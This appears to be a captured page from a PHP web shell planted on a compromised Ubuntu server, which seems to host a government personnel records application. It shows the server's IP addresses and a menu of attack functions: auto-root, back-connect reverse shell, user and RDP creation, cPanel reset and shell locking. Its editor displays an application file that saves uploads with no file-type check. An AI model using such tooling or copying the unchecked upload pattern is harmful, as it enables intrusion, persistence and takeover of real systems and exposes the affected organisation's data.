Linux 0193-eed-moe-app01 5.15.0-46-generic #49-Ubuntu SMP Thu Aug 4 18:03:25 UTC 2022 x86_64
Apache/2.4.52 (Ubuntu)
: 172.16.229.234 | : 3.145.88.233
Cant Read [ /etc/named.conf ]
8.1.2-1ubuntu2.18
www-data
www.github.com/MadExploits
Terminal
AUTO ROOT
Adminer
Backdoor Destroyer
Linux Exploit
Lock Shell
Lock File
Create User
CREATE RDP
PHP Mailer
BACKCONNECT
UNLOCK SHELL
HASH IDENTIFIER
CPANEL RESET
CREATE WP USER
README
+ Create Folder
+ Create File
/
var /
www /
html /
eedpims /
haward /
[ HOME SHELL ]
Name
Size
Permission
Action
empcertificate
[ DIR ]
drwxr-xr-x
haward.php
4.55
KB
-rw-r--r--
haward_editor.php
3.04
KB
-rw-r--r--
haward_list.php
6.22
KB
-rw-r--r--
view.php
2.56
KB
-rw-r--r--
Delete
Unzip
Zip
${this.title}
Close
Code Editor : haward.php
<?php session_start(); include("../common/config.php"); include("../common/functions.php"); if(empty($_SESSION["username"])) { Header("Location: ../login/login.php"); } $cmd = $_REQUEST["cmd"]; switch($cmd) { case "add": if(!empty($_REQUEST["id"])){ // prepare and bind for Maximum Number $stmt = $conn->prepare("SELECT * FROM haward WHERE id = ?"); $stmt->bind_param("i",$_REQUEST["id"]); $stmt->execute(); //Result $result = $stmt->get_result(); while($row = $result->fetch_assoc()){ $empcertificate = $row[empcertificate]; } } // prepare and bind for Maximum Number $stmt = $conn->prepare("SELECT IFNULL(max(id),0)+1 AS id FROM haward"); $stmt->execute(); //Result $result = $stmt->get_result(); $numrows=$result->num_rows; while($row = $result->fetch_assoc()){ $max = $row[id];} if($numrows==0) {$max=0;} //Award Certificate if(strlen($_FILES['empcertificate']['name'])>0 && $_FILES['empcertificate']['size']>0) { if(!file_exists("empcertificate")) { mkdir("empcertificate",0755); } if(empty($_REQUEST['id'])) { $file=$max."_".str_replace(" ","_",strtolower(trim($_FILES['empcertificate']['name']))); } else { $file=trim($_REQUEST['id'])."_".str_replace(" ","_",strtolower(trim($_FILES['empcertificate']['name']))); } $filePath="empcertificate/".$file; move_uploaded_file($_FILES['empcertificate']['tmp_name'],$filePath); $empcertificate="empcertificate/".trim($file); } if(empty($_REQUEST["id"])) { //Data Insert $stmt = $conn->prepare("INSERT INTO haward (GovtId,empcertificate,titleaward,ground,awardDate,userinfo_id) VALUES (?,?,?,?,?,?)"); $stmt->bind_param("sssssi",$_SESSION["pimsid"], $empcertificate, $_REQUEST["titleaward"], $_REQUEST["ground"], date("Y-m-d", strtotime(str_replace("/","-",englishnum($_REQUEST["awardDate"])))), $_SESSION["user_id"] ); $stmt->execute(); $stmt->close(); } else { //Data Update $stmt = $conn->prepare("UPDATE haward SET empcertificate = ?, titleaward = ?, ground = ?, awardDate = ? WHERE id = ?"); $stmt->bind_param("sssi", $empcertificate, $_REQUEST["titleaward"], $_REQUEST["ground"], date("Y-m-d", strtotime(str_replace("/","-",englishnum($_REQUEST["awardDate"])))), $_REQUEST["id"]); $stmt->execute(); $stmt->close(); } Header("Location: ../haward/haward.php?cmd=list"); break; case "edit": $Id = $_REQUEST["id"]; if( !empty($Id )) { // prepare and bind $stmt = $conn->prepare("SELECT * FROM haward WHERE id = ?"); $stmt->bind_param("i",$_REQUEST["id"]); $stmt->execute(); //Result $result = $stmt->get_result(); //Data Retriving while($row = $result->fetch_assoc()) { $Id = $row["id"]; $empcertificate = $row["empcertificate"]; $GovtId = $row["GovtId"]; $titleaward = $row["titleaward"]; $ground = $row["ground"]; $awardDate = date("d/m/Y", strtotime(str_replace("-","/",$row["awardDate"]))); } $stmt->close(); } include("../haward/haward_editor.php"); break; case "delete": $Id = $_REQUEST["id"]; if($Id) { //$db->delete($info); } include("../haward/haward_list.php"); break; case "list" : if(!empty($_REQUEST["page"])&&$_SESSION["search"]=="yes") { $_SESSION["search"]="yes"; } else { $_SESSION["search"]="no"; unset($_SESSION["search"]); unset($_SESSION["field_value"]); } include("../haward/haward_list.php"); break; case "search_haward": $_REQUEST["page"] = 1; $_SESSION["search"]="yes"; $_SESSION["field_value"] = $_REQUEST["field_value"]; include("../haward/haward_list.php"); break; default : include("../haward/haward_editor.php"); } ?>
Close